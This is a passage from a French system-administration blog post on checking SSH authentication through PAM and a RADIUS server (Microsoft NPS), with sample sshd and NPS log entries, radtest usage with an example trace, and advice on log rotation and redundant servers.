sshd[26457]: pam_radius_auth: Sending RADIUS request code 1
sshd[26457]: pam_radius_auth: Got RADIUS response code 3
sshd[26457]: pam_radius_auth: authentication failed
sshd[26457]: Accepted password for le_matou from 192.168.2.200 port 22070 ssh2
sshd[26457]: pam_unix(sshd:session): session opened for user le_matou by (uid=0)

Cela fonctionne mais grâce à l’authentification locale de PAM dans ce cas. Cela pourrait être utile en cas de défaillance ou d’inaccessibilité du ou des serveurs RADIUS configuré(s). Soit vous avez un compte utilisateur de « secours » (que vous conserveriez soigneusement dans votre KeePass 😉 ), soit vos utilisateurs utilisent un mot de passe « de secours », ce que je ne conseille pas.

Côté serveur RADIUS on verra ce type d’événement lors d’un rejet (ici une log d’un serveur NPS de Microsoft, le client utilise un PC sous Windows 10 donc pas de client NAP) :

User:
Security ID: S-1-0-0
Account Name: le_matou
Account Domain: DOMAINE
Fully Qualified Account Name: DOMAINE\le_matou
Client Machine:
 Security ID: S-1-0-0
 Account Name: -
 Fully Qualified Account Name: -
 OS-Version: -
 Called Station Identifier: -
 Calling Station Identifier: mon_serveur-01.mon_domaine.corp

NAS:
 NAS IPv4 Address: 127.0.0.1
 NAS IPv6 Address: -
 NAS Identifier: sshd
 NAS Port-Type: Virtual
 NAS Port: 8206

RADIUS Client:
 Client Friendly Name: SERVER_IN_10.66.0.0/24
 Client IP Address: 10.66.0.200

Authentication Details:
 Connection Request Policy Name: Request SERVER_IN_10.66.0.0/24
 Network Policy Name: -
 Authentication Provider: Windows
 Authentication Server: mon_serveur_RADIUS.mon-domaine.corp
 Authentication Type: PAP
 EAP Type: -
 Account Session Identifier: -
 Logging Results: Accounting information was written to the local log file.
 Reason Code: 16
 Reason: Authentication failed due to a user credentials mismatch. Either the user name provided does not map to an existing user account or the password was incorrect.

Il existe également un petit utilitaire bien pratique développé par FreeRADIUS (je crois) qui s’appelle « radtest ». Il s’installe de cette manière :

sudo apt-get install freeradius-utils

Il suffit ensuite de taper la commande suivante (pensez à vider votre historique bash ensuite avec « history -c ») :

radtest -x -4 "compte utilisateur AD" "mot de passe AD" [addresse ip/fqdn du serveur radius]:1812 0 "secret partagé (mot de passe)"

Suivant la version de votre serveur RADIUS, vous devrez peut-être mettre le port UDP 1645 à la place de UDP 1812.

Voici une trace lorsque le test fonctionne :

Sending Access-Request of id 93 to mon_serveur_RADIUS.mon-domaine.corp port 1812
 User-Name = "admin"
 User-Password = "***********"
 NAS-IP-Address = 127.0.0.1
 NAS-Port = 0
 Message-Authenticator = 0x00000000000000000000000000000000
rad_recv: Access-Accept packet from host mon_serveur_RADIUS.mon-domaine.corp port 1812, id=93, length=202
 Marque-Exec-Privilege = 3
 Marque-AVPair = "web-administrative-role=Manager"
 Filter-Id = "Marque:version=1:mgmt=su:policy=SYS_ADMIN_AAA"
 Login-Service = 50
 Service-Type = Administrative-User
 Class = 0x89d4084f00006543102000a0a047900000000789764a6f44df9d01d3993c0951af0700000000000353bd
 MS-Link-Utilization-Threshold = 50
 MS-Link-Drop-Time-Limit = 120

Cela permet notamment de voir les attributs de l’utilisateur.

Important : Une fois le débogage terminé, pensez à commenter (# en début de ligne) les 2 lignes du fichier de configuration rsyslog et relancez le service. Avec le temps, vous risquez d’avoir un TRÈS gros fichier. Sinon, utilisez le service logrotate afin d’archiver et compresser les messages.

Le mot de la fin

Voilà, c’est tout pour cet article. J’espère avoir pu aider ou éclairer quelques personnes 😉

J’ajouterai que par sécurité et redondance, il est préférable d’avoir aux moins 2 serveurs RADIUS configurés. Utile lors des maintenances, ce sera transparent pour les utilisateurs.

Comme indiqué en introduction, il s’agit d’une « simple » introduction. Nous pourrions aller plus loin en gérant le changement de mot de passe, la création automatique des répertoires à la première connexion etc…